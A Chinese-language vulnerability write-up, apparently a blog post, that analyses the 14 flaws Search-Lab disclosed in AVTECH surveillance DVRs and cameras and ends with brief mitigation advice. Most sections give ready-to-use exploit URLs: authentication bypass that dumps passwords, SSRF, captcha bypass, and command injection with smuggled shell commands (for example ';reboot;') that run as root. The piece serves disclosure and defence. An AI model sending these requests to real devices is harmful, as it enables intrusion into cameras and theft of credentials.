Author:光棍节

AVTECH是一家台湾的视频监控设备制造商,公司成立于1996年,是世界领先的闭路电视制造商之一,主要产品有监控设备,网络摄像机,网络录像机等。

近日,匈牙利安全公司 Search-Lab 发表了一份公告详细的披露了AVTECH监控产品存在的14个漏洞,事实上早在一年之前,该公司就先后4次尝试向AVTECH公司通报发现的漏洞,但是均没有收到回应,该公司于一周之前公布了整个漏洞的详情。

漏洞详情:

由于很多设备可以直接通过公网IP地址访问,所以影响较大,本文详细的分析漏洞的成因和利用方式。

1、 未经身份验证的信息泄露

由于/cgi-bin/nobody目录下的CGI脚本文件运行权限设置不合理,导致可以在未认证的情况下直接运行,此类型漏洞已经在多个设备中出现,斐讯K1就是因为cgi文件执行权限限制不合理,导致可以直接获取路由器的所有配置信息。 攻击链接示例:

http://<device_ip>/cgi-bin/nobody/Machine.cgi?action=get_capability  

获取摄像头的设备信息。

2、DVR设备存在着无需用户登录的ssrf漏洞

在DVR设备中,Search.cgi可以直接被访问,Search.cgi负责搜索和访问本地网络中的摄像头,Search.cgi提供了cgi_query功能,通过设置ip,port和queryb64str三个参数可以实现直接访问本地网络中的摄像头。 利用实例构造如:

http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==  
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=scan  

获取局域网中所有的摄像头的配置信息。

3、DVR设置存在着无需用户登录的命令执行漏洞

Search.cgi中提供的cgi_query功能是通过wget功能实现HTML请求,但是由于对参数没有验证和过滤,可以通过构造参数实现root权限的任意系统命令的执行。

实例链接如下:

http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin  

4、认证绕过漏洞

可以通过两种方式实现认证绕过:

第一种是.cab方式,cab格式文件是视频播放器插件,存储在web的根目录下,它可以无需验证直接被访问和下载,而设备端只是通过strstr函数查找链接中是否存在.cab字段,如果含有就直接认为免认证。

第二种是nobody方法,同样由于设备端只是通过strstr函数去查找链接中是否存在nobody字段,如果有就直接免认证。 两种方式的链接可以如下,.cab和/nobody可以放在链接中的其他地方,获取设备的配置信息,其中包括登录的用户名和密码。

http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*  
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*  

5、web根目录下任意文件下载

由于.cab字符串是通过strstr方法验证的,那么可以通过在文件名称末尾加上?.cab实现文件下载。作者类推的实验了一下在链接后加上?/nobody,也可以下载文件,漏洞的原因相同。 实例链接:

http://<device_ip>/cgi-bin/cgibox?.cab  
http://<device_ip>/cgi-bin/cgibox?/nobody  

6、登录验证码绕过

设备在登录时通过增加验证码方式防止暴力猜解用户名和密码,但是由于系统设计的不合理,可以通过增加login=quick直接绕过。 链接格式如下:

http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick  

如果没有采用quick方式的话,链接的格式如下:

http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&captcha_code=ZVFU&verify_code=ZVmHTLN5eiGB  

由于captcha_codeverify_code是配套的,我们可以通过人工设置使他们保持一致同样可以绕过验证码验证,从而暴力猜解用户名和密码。

7、认证后的多个任意命令执行漏洞

第一个:设备通过CloudSetup.cgi支持Avtech云服务,在登录认证通过之后,由于没有对参数进行验证,可以通过exefile参数以root权限执行任意命令。

http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps  

第二个:部分设备支持ActionD命令,通过adcommand.cgi文件实现,新版本设备的ActionD提供了DoShellCmd功能,在认证通过之后,由于没有对参数进行验证,可以以root权限执行任意命令。此功能需要以post方式实现,其中cookie中的SSID为用户名和密码的base64值。

POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1

Host: <device_ip>

Content-Length: 23

Cookie: SSID=YWRtaW46YWRtaW4=

DoShellCmd "strCmd=ps&"  

第三个:PwdGrp.cgi文件在增加用户或者修改用户时,由于没有对参数进行验证,可以同时以root权限执行其他命令。

http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN  

8、其他安全漏洞

第一个:使用没有认证证书的Https服务。系统中的SyncCloudAccount.shQueryFromClient.shSyncPermit.sh使用wget去访问https网站,如https://payment.eagleeyes.tw 等。由于没有证书验证,此https通信可能遭受中间人攻击。

第二个:密码明文存储。容易被攻击轻易获取所有的用户登录密码等敏感信息。

第三个:CSRF漏洞。设备没有任何防CSRF攻击的措施,当管理员正登录时,可能受到CSRF攻击。

补救措施:

在shadon上搜索关键词“Avtech”,有超过13万个设备暴露在互联网中,当前avtech关键词搜索已经成为shadon上排名第二的热词,由于厂商目前还没有提供固件更新,所以建议大家采取如下措施来保护:

1、修改默认的登录密码;
2、限制用户通过公网访问设备的web功能。

参考资料: